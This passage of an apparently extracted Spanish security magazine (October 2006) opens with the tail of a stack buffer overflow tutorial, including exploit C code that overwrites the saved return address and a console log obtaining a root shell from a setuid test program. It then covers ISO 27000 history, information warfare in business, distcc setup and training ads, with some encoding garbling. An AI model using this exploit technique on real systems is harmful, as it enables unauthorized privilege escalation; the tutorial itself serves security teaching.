Comiendo del espacio reservado a buffer
... buffer[263] EBP EIP Haciendo las matematicas, si ingresamos 264 + 4 (EBP) + 4 (EIP) estaremos controlando el valor de la dirección de retorno salvada en la pila (EIP). Una vez obtenido este dato, lo único restante será obtener la dirección de memoria en la cual reside nuestra shellcode. Para esto utilizaremos la técnica descripta a continuación. Reuniendo todos estos datos juntos (Tamaño del buffer, direccion de nuestra shellcode) estamos en condiciones de preparar nuestro primer exploit para una vulnerabilidad.
int i; char buffer[264+4+4+1]; char *env[] = {shellcode, NULL}; long ret = 0xbffffffa - strlen(“./vulnerable”) - strlen(shellcode);
memset((void *) buffer, 0x40, sizeof(buffer)-1); *((long *) &buffer[sizeof(buffer)-4-1]) = ret;
execle(“./vulnerable”, “vulnerable”, buffer, NULL, env);
}
return 0;
Ahora, lo unico que nos resta es provar el exploit. Para ello compilaremos nuestro programa “vulnerable.c”, y lo haremos setuid root para que al explotarlos nos obtengamos privlegios elevados lo que en un principio era nuestro objetivo.
Consola you@thecheff:~$ id uid=1000(you) gid=100(users)groups=10(wheel),18(audio),19(cdrom),27(video),80(cdrw) you@thecheff:~$ gcc vulnerable.c -o vulnerable you@thecheff:~$ sudo chown root:root vulnerable you@thecheff:~$ sudo chmod u+s vulnerable you@thecheff:~$ gcc exploit.c -o exploit you@thecheff:~$ ./exploit @@@@@@... (output que no viene al caso)... sh-3.00# id uid=0(root) gid=0(root) groups=10(wheel),18(audio),19(cdrom),27(video),80(cdrw) Como se puede apreciar, luego de ejecutar nuestro exploit, hemos obtenido una shell con los privilegios de root.
16 Security&technology | OCTUBRE 06
De BS7799 a ISO 27000 Por Edson
V. Piuzzi
E
n el año 1987 en el Reino Unido fue fundado el Centro de Seguridad de Computadoras Comerciales (CCSC). Sus dos objetivos principales eran: · Crear un esquema de evaluación y certificación de productos de seguridad, el cual se materializó en la publicación de UK ITSEC. · Crear un Código de Buenas Prácticas para Seguridad. Publicado finalmente en 1989 como “User code of practice”. Comenzaba así el periplo de uno de los cuerpos normativos más referenciados en la actualidad: La familia de estándares para Seguridad de Información ISO/IEC 27000. El código de prácticas fue sometido a una serie de pruebas y consultas públicas por el National Computing Centre, hasta que finalmente en 1995 fue publicado por British Standard Institute como BS7799-1:1995 “A code of practice for information security management”. Ese mismo año, es presentada bajo el esquema de “vía rápida” (fast track procedure) al comité técnico conjunto N°1 (JCT1, join technical commitee), integrado por ISO e IEC, responsable de la Tecnologías de Información, para su aprobación como ISO/IEC JCT1 14980. La presentación fue específicamente al Sub Comité 27, Técnicas de Seguridad para Tecnologías de Información. El primer intento británico por posicionar su estándar local como norma internacional fracasó, ya que en la votación del día 24 de febrero de 1996 fue rechazado al no conseguir los dos tercios requeridos para su aprobación. Mientras en el Reino Unido el trabajo continuaba con el desarrollo de la segunda parte de la norma consistente en un esquema de certificación para la acreditación del cumplimiento del Código de Buenas Prácticas por parte de las organizaciones. Tras una serie de revisiones y consultas, fue publicada BS7799 2 en el año 1998. Al año siguiente, tendría lugar la publicación de la primera revisión del Código de Buenas Prácticas (BS7799:1999). Esta nueva versión fue presentada nuevamente, pero esta vez la presentación fue realizada a nivel de Comité Técnico. La perseverancia de los ingleses tuvo recompensa el 3 de Agosto de 2000, cuando la primera revisión del estándar local BS7799:1999 se convirtió en ISO/IEC
17799:1999. Sin embargo, encontró ilustres detractores entre los que se cuentan Estados Unidas, Alemania y Francia. El siglo XXI halló a los cuerpos normativos británicos buscando compatibilidad con ISO 9000, ISO 14000 y la declaración de principios de la Organisation for Economic Co-operation and Development (OECD). De este modo, la primera revisión de BS7799 2, realizada en 2002, establece la creación de un Sistema de Gestión de Seguridad de Información (SGSI) y define como metodologías recomendada para su implantación la aproximación de Procesos y el uso del Círculo de Deming (PDVA), ambas sugerencias ampliamente difundidas para la
creación de los sistemas de gestión asociados a las normas 9000 y 14000. En el año 2005, es aprobada la primera revisión de ISO/IEC 17799. Esta versión es la que se encuentra vigente hoy. Las principales modificaciones son: · el aumento de las cláusulas generales de 10 a 11, con la incorporación de una nueva cláusula general: “Gestión de Incidentes”. · el aumento de los Objetivos de Control a 39. · el aumento de los controles a 133. · la incorporación de una “Guía de Implantación” para los control definidos en la norma. · la incorporación de “Otra Información”, como ayuda adicional para la mejor implantación de los controles. Durante ese mismo año, en el mes de noviembre, es aprobada la segunda parte BS7799 2 como norma ISO/IEC 27001, dando lugar a una serie de anuncios en torno a la creación de una nueva familia normativa: ISO/ IEC 27000. De este modo el panorama de las normas de seguridad en el futuro es el que se exhibe en la tabla al pie del artículo.
Norma
Nombre
Estado
ISO/IEC NP 27000
Information technology -- Information security management -- fundamentals and vocabulary
En Desarrollo
ISO/IEC 27001
Information technology -- Security techniques -- Information security management systems -Requirements
Estándar publicado
ISO/IEC 27002 (ISO/IEC 17799)
Information technology -- Security techniques -- Code of practice for information security management
Estándar publicado
ISO/IEC 27003
Guía para la implantación de ISO/IEC 27001
No informa
ISO/IEC NP 27004
Information technology -- Information security management measurements
En Desarrollo
ISO/IEC CD 27005
Information technology -- Information security risk management
En Desarrollo
ISO/IEC FCD 27006
Information technology -- Security techniques -Requirements for the accreditation of bodies providing certification of information security management systems
En Desarrollo
Security&technology | OCTUBRE 06
GUERRA DE LA INFORMACIĂ&#x201C;N EN LA EMPRESA Vidal
CLAUS MĂ&#x2013;LLER
L
a nueva forma de hacer la guerra, mediante la manipulaciĂłn de la informaciĂłn, y que evolucionara en el mismo sentido, exige que los medios de toma de decisiĂłn empresarial, estĂŠn en capacidad de proteger los elementos y factores que constituyen un Sistemas de InformaciĂłn que colaboran en la Toma de Dediciones en tiempo oportuno, lo que brindara ventajas comparativas y competitivas respecto de competidores que no posean tal capacidad. La naturaleza de la inteligencia estĂĄ siendo modificada fundamentalmente por las nuevas tecnologĂas de recopilaciĂłn, procesamiento, almacenamiento, difusiĂłn de informaciĂłn y representaciĂłn de la informaciĂłn. â&#x20AC;&#x153;La idea de una paralizaciĂłn es bastante simple. El enemigo es considerado como un sistema, necesitamos identificar aquellas partes del sistema que podamos afectar de tal manera que evitemos que el sistema haga lo que nosotros no queremos. Normalmente, el mejor lugar para comenzar es el centro, pues si podemos evitar que la direcciĂłn del sistema recaude, procese y utilice informaciĂłn que no deseamos que posea, habremos paralizado efectivamente el sistema a nivel estratĂŠgicoâ&#x20AC;?. Coronel John Warden. Estas palabras que ya poseen un par de dĂŠcadas resultĂł una predicciĂłn en el uso de esta herramienta. Cuanto mĂĄs dependa un paĂs de la integridad de su infraestructura de informaciĂłn, mĂĄs riesgos tendrĂĄ de sufrir ataques a la misma y por analogĂa en el ĂĄmbito empresarial se sufren los mismos riesgos. La amenaza de la guerra de informaciĂłn -trastornos masivos para algunos- puede reemplazar la amenaza de colapso empresarial por razones econĂłmicas-financieras. Los ataques a los sistemas empresariales pueden ser irracionales o racionales. Es necesario defenderse contra ataques irracionales, pero lo que estos pueden hacer es limitado. Los ataques racionales son los que importan debido a que su objetivo no es Ăşnicamente causar daĂąos, sino tambiĂŠn obtener un resultado estratĂŠgico, con con-
â&#x20AC;&#x153;
â&#x20AC;&#x153;Cuando los vientos de cambio soplan, algunos construyen refugios y se ponen a salvoâ&#x20AC;Ś otros construyen molinos y se hacen ricos.â&#x20AC;?
secuencias duraderas. Estos ataques muestran un enemigo con un conocimiento preciso y exacto de cĂłmo se adoptan las decisiones y cĂłmo se transporta la informaciĂłn puertas adentro de la empresa. La producciĂłn y utilizaciĂłn de informaciĂłn es el inventario moderno y contable de activos, el medio de intercambio, y el objetivo para el crecimiento en la era postindustrial. De ser cierta esta aseveraciĂłn, existen tres niveles de necesidades empresariales. La primera, la necesidad mĂĄs bĂĄsica, consiste en asegurar la acumulaciĂłn de los activos digitales esenciales. La segunda, en acceder a un desarrollo cooperativo a travĂŠs de canales de comunicaciĂłn confiables y seguros. La tercera, implica la existencia de un ĂĄmbito que soporte los riesgos intelectuales que deban afrontarse a fin de alcanzar el mĂĄs alto nivel de creatividad en los nuevos productos, soluciones y procesos que puedan generar riquezas. En la era de la informaciĂłn, las empresas deben enfrentar un gran nĂşmero de amenazas nuevas centradas en torno al mismo acceso digital, almacenamiento y flujo que caracteriza la nueva era. El Instituto de Seguridad en ComputaciĂłn ha descubierto que los administradores de sistemas comerciales han percibido un aumento en los casos de irrupciones o intentos de irrupciĂłn ilegal en las computadoras. El servicio del CERT de la Universidad Carne-
gie-Mellon (Computer Emergency Response Team), grupo que responde a las emergencias informĂĄticas, alerta periĂłdicamente sobre el aumento en la cantidad y sofisticaciĂłn de los intentos por ingresar en forma ilegal a las redes comerciales informĂĄticas. En las reuniones convocadas por el Presidente del ComitĂŠ Nacional de Asesoramiento para la Seguridad de las Telecomunicaciones (NSTAC-National Security Telecommunications Advisory Committee) y otros encuentros sobre intercambio entre la industria y el gobierno, el hecho de la vulnerabilidad y las pĂŠrdidas se reconoce parcialmente y se discute en tĂŠrminos generales, pero no con la exhaustividad necesaria como para identificar la amenaza y comenzar a adoptar medidas de prevenciĂłn.
ÂżA quĂŠ se debe la reticencia a buscar ayuda? Se postulan aquĂ tres razones. Primero, la naturaleza competitiva del comercio limita comprensiblemente el alcance y oportunidad de las pĂŠrdidas reconocidas. La competencia en un mercado maduro es sĂłlo la primera de las razones que explican la reticencia a analizar las pĂŠrdidas comerciales. La segunda razĂłn de la reticencia a buscar ayuda consiste en que los Gerentes Generales no quieren admitir que no poseen el control absoluto de sus operaciones. La tercera de las razones es la labor del Administrador de Sistemas de InformaciĂłn
â&#x20AC;&#x153;La idea de una paralizaciĂłn es bastante simple. El enemigo es considerado como un sistema, necesitamos identificar aquellas partes del sistema que podamos afectar de tal manera que evitemos que el sistema haga lo que nosotros no queremos. Normalmente, el mejor lugar para comenzar es el centro, pues si podemos evitar que la direcciĂłn del sistema recaude, procese y utilice informaciĂłn que no deseamos que posea, habremos paralizado efectivamente el sistema a nivel estratĂŠgicoâ&#x20AC;? Coronel John Warden
â&#x20AC;&#x153;
Por Christian
17
(ISM) a admitir las pĂŠrdidas y buscar ayuda. La complejidad de los mĂŠtodos y la implementaciĂłn de estrategias es cada vez mayor a medida que aumenta la posiciĂłn de la empresa en el mercado, y su perfil de amenaza potencial. Los sistemas de control de supervisiĂłn y de adquisiciĂłn de datos [SCADA] son partes vulnerables en los sistemas de informaciĂłn como tambiĂŠn lo son las 0macrocomputadoras a minicomputadoras, ambas arquitecturas, diseĂąadas para transportar las joyas de una empresa. Los mĂŠtodos, procesos y tĂŠcnicas como las herramientas que en un determinado momento son utilizados por el ĂĄmbito militar en la guerra, tal cual la conocemos, una vez terminada esta, todos estos recursos mutan rĂĄpidamente para ser utilizados en el ĂĄmbito de la empresa, sin distinguir cual es su actividad. La guerra de la informaciĂłn, ha sido el ultimo grito en la guerra moderna, hoy ya esta instalado en todas nuestras actividades, debemos pensar cual serĂĄ el prĂłximo paso.
353#2)"!3% $ESCARGE LA REVISTA GRATUITAMENTE DE WWW ST MAGAZINE COM O SUSCRIBASE PARA RECIBIRLA EN FORMATO IMPRESO Y PARTICIPE DE NUESTROS SORTEOS MENSUALES
3I DESEA RETIRARLA GRATUITAMENTE EN NUESTRAS OFICINAS LLAME AL 0ARA MĂ&#x2030;S INFORMACIĂ&#x2DC;N WWW ST MAGAZINE COM
18 Security&technology | OCTUBRE 06
LINUX
INSTALACIÓN DE DISTCC Por Marcos
P. Russo
# distccd --daemon --allow 127.0.0.1 --allow ip/ mascara
INSTALando distcc Para instalar DISTCC, bajamos el source distcc y compilamos: # links http://distcc.samba.org/download.html # tar xvfj distcc-2.18.3.tar.bz2 # cd distcc-2.18.3 # ./configure # make # make install Quedará de la siguiente forma instaldo: man pages documents programs system configuration shared data files
Corremos el daemon de la siguiente manera:
/usr/local/man/man1 /usr/local/share/doc/distcc /usr/local/bin /usr/local/etc /usr/local/share/distcc
No es necesario tener instalado en las máquinas de compilacón de apoyo no las bibliotecas ni las cabeceras que necesite el código. En todas las demas máquinas debemos tener el mismo compilador de C y un ensamblador en todas las máquinas objetivo, ya que estas máquinas deberán realizar la generación del código objeto. Todas las máquinas deberían tener la misma arquitectura (habitualmente, compatibles i80x86, lo que incluye i80x486, AMD compatibles y procesadores posteriores de 32 bits). Es recomendable tener la misma version del compilador en las pc. Ditscc utiliza TCP para las conexions. Habitualmente utiliza el puerto 3632, aunque puede ser tunelizado a través de ssh.
Configurando distcc Creamos el usuario distcc con grupo 65534 (nogroup). # useradd -m -g 65534 -s /bin/false distcc
ip/mascara -> especifica el rango de clientes de los que distccd aceptará la petición de trabajo. Ejemplo puede ser 10.1.2.0/24. # export DISTCC_HOSTS=’localhosts cluster2’ cluster2 -> ip de la pc cliente. En /etc/hosts tenemos que declarar el cluster2 con una ip. Creamos los enlaces: # cd /usr/local/bin # ln -s distcc gcc # ln -s distcc cc # ln -s distcc g++ # ln -s distcc c++ Tocamos el path en el /etc/profile # cd /etc # vi profile export PATH=/usr/local/bin:$PATH # . ./profile Para ver como anda instalamos distccmongnome # apt-get install distccmon-gnome De ahora en mas compilamos de la siguiente forma : # make -j 4 4 es 2 pc con 1 micro por cada uno y se multiplica por 2 podemos también aumentarlo.
$IFERENCIATE
#APACITATE CON LOS MEJORES PROFESIONALES DE 3EGURIDAD DE LA )NFORMACIĂ&#x2DC;N .UESTROS PROFESIONALES CUENTAN CON LAS SIGUIENTES CERTIFICACIONES #)330 #%( ##30 ##.0 -#3% ).&/3%# ##.! #.! )3%#/- /)33' .30 -#0 ,0)# ENTRE OTRAS
)4 3%#52)49 02/&%33)/.!,3
Calendario de SECURITY TRAINING
Todos los Security Trainings pueden ser dictados a distancia, in company o en forma personalizada, asimismo en el interior y exterior del paĂs. SC-00S7 - InformĂĄtica Forense
OCTUBRE
DuraciĂłn: 12 Horas Dias: Martes y Jueves. Comienzo Martes 21. Horario 19 a 22 Hs.
SC-00S2 - CISSP (80hs)
SC-00S8 - Ethical Hacking
Curso de PreparaciĂłn a la CertificaciĂłn Internacional CISSP (Certified Information Systems Security Professional). DuraciĂłn: 80 Horas. Dias: Martes y Jueves. Comienzo Martes 10. Horario 9 a 13 Hs. Dias: Lunes y MiĂŠrcoles. Comienzo MiĂŠrcoles 11. Horario 19 a 22 Hs.
SC-00S3 â&#x20AC;&#x201C; CEH
Curso de PreparaciĂłn a la CertificaciĂłn Internacional Certified Ethical Hacker. DuraciĂłn: 40 Horas. Dias: Lunes. Comienzo Lunes 23. Horario 19 a 22 Hs.
SC-00S4 â&#x20AC;&#x201C; CHFI
Curso de PreparaciĂłn a la CertificaciĂłn Internacional Computer Hacking Forensic Investigador. DuraciĂłn: 40 Horas. Dias: Miercoles. Comienzo Miercoles 25. Horario 19 a 22 Hs.
SC-00S5 - Security5
DuraciĂłn: 15 Horas Dias: Lunes y MiĂŠrcoles. Comienzo Lunes 23. Horario 19 a 22 Hs.
SC-00S26 â&#x20AC;&#x201C; CertificaciĂłn Internacional Linux LPIC Nivel 1. â&#x20AC;&#x201C; Administrador de Sistemas Linux DuraciĂłn: 36 Horas Dias: Lunes, MiĂŠrcoles y Viernes. Comienzo Lunes 9. Horario 19 a 22 Hs. Dias: Lunes y MiĂŠrcoles. Comienzo Lunes 23. Horario 19 a 22 Hs. Dias: Martes y Jueves. Comienzo Marte 10. Horario 19 a 22 Hs. Dias: SĂĄbados. Comienzo Sabado 14. Horario 9 a 13 Hs.
SC-00S7 - InformĂĄtica Forense
DuraciĂłn: 12 Horas Dias: Lunes 16, Martes 17, Miercoles 18, Jueves 19 y Viernes 20. Horario 19 a 22 Hs.
SC-00S8 - Ethical Hacking (Practico) DuraciĂłn: 8 Horas Dias: Sabado 21. Horario 9 a 18 Hs.
SC-00S10 - Cisco PIX Firewall
DuraciĂłn: 15 Horas Dias: miĂŠrcoles 25, Jueves 26, Viernes 27, Lunes 30 y Martes 31. Horario 19 a 22 Hs.
SC-00S11 - Hacking and Defending Oracle Database Server DuraciĂłn: 8 Horas Dias: Viernes 27. Horario 9 a 18 Hs.
SC-00S15 â&#x20AC;&#x201C; Seguridad y Hacking en Aplicaciones Web DuraciĂłn: 12 Horas Dias: Martes y Jueves. Comienzo Martes 31. Horario 19 a 22 Hs.
SC-00S22 - Exploiting
DuraciĂłn: 8 Horas Dias: Sabado 14. Horario 9 a 18 Hs.
SC-00S23 - IngenierĂa Inversa DuraciĂłn: 8 Horas Dias: Sabado 28. Horario 9 a 18 Hs.
DuraciĂłn: 15 Horas Dias: Lunes y MiĂŠrcoles. Comienzo Lunes 20. Horario 19 a 22 Hs.
SC-00S9 - ConfiguraciĂłn y Seguridad en ISA Server
DuraciĂłn: 12 Horas Dias: Lunes, MiĂŠrcoles y Viernes. Comienzo Viernes 24. Horario 19 a 22 Hs.
SC-00S15 - Seguridad y Hacking en Aplicaciones Web DuraciĂłn: 12 Horas Dias: Lunes 6, MiĂŠrcoles 8, Viernes 10 y Lunes 13. Horario 19 a 22 Hs.
SC-00S22 - Exploiting
DuraciĂłn: 8 Horas Dias: Sabado 25. Horario 9 a 18 Hs.
SC-00S25 - SQL Security / SQL Injection DuraciĂłn: 8 Horas Dias: Sabado 4. Horario 9 a 18 Hs.
SC-00S40 - ISO 17799 / BS 7799 DuraciĂłn: 8 Horas Dias: Sabado 11. Horario 9 a 18 Hs.
SC-00S41 - TeorĂa y PrĂĄctica LegislaciĂłn: Delitos y Seguridad InformĂĄtica DuraciĂłn: 8 Horas Dias: Jueves 16. Horario 9 a 18 Hs.
DICIEMBRE SC-00S7 - InformĂĄtica Forense
DuraciĂłn: 12 Horas Dias: Martes 26, Miercoles 27, Jueves 28 y Viernes 29.
SC-00S8 - Ethical Hacking
DuraciĂłn: 15 Horas Dias: Viernes. Comienzo Viernes 1. Horario 19 a 22 Hs.
SC-00S8 - Ethical Hacking (Practico) DuraciĂłn: 8 Horas Dias: Sabado 16. Horario 9 a 18 Hs.
SC-00S10 - Cisco PIX Firewall
DuraciĂłn: 15 Horas Dias: Lunes 4, Martes 5, Miercoles 6, Jueves 7 y Viernes 8. Horario 19 a 22 Hs.
SC-00S17 - ConfiguraciĂłn, Seguridad y Hacking WĂreles (Teorico-Practico) DuraciĂłn: 8 Horas Dias: Sabado 2. Horario 9 a 18 Hs.
SC-00S41-TeorĂa y PrĂĄctica LegislaciĂłn : Delitos y Seguridad InformĂĄtica
SC-00S41 - TeorĂa y PrĂĄctica LegislaciĂłn: Delitos y Seguridad InformĂĄtica
DuraciĂłn: 8 Horas Dias: MiĂŠrcoles 13. Horario de 9 a 13 Hs.
NOVIEMBRE
Âť Consultar por prĂłximos calendarios en training@securityc.com. Âť Consultar por dĂas y horarios especiales. Âť Nuestros Instructores cuentan entre otras certificaciones como, CISSP, CEH, CCSP, CCNP, MCSE, INFOSEC, CCNA, CNA, ISECOM,OISSG, NSP, MCP, LPIC, etc. Âť Consultas: www.securityc.com / training@securityc.com
DuraciĂłn: 8 Horas Dias: Viernes 13. Horario 9 a 18 Hs.
SC-00S5 - Security5
DuraciĂłn: 15 Horas Dias: Viernes. Comienzo Viernes 17. Horario 19 a 22 Hs.
En un mundo donde los ataques informáticos son cada día más sofisticados,
Contar con expertos en Seguridad de la Información es la única solución.
)4 3%#52)49 02/&%33)/.!,3
Seriedad y respaldo en Seguridad de la Información
Partners
Reseller
Hoy las empresas necesitan proteger sus activos digitales críticos debiendo estar alerta en forma constante. Asegurar una empresa requiere una actitud proactiva y una vigilancia continua. Quienes realicen dicha tarea debe ser la gente correcta con el expertise correcto. Sólo aquellos que tengan el conocimiento apropiado para poder construir las defensas no serán víctimas de las amenazas externas e internas. En Security Consultants combinamos diferentes aspectos para que las organizaciones puedan incluir nuestros recursos. Somos líderes en servicios de Consultoría de Seguridad e Inteligencia Informática, brindamos respuesta a la necesidad de resguardar los activos de información.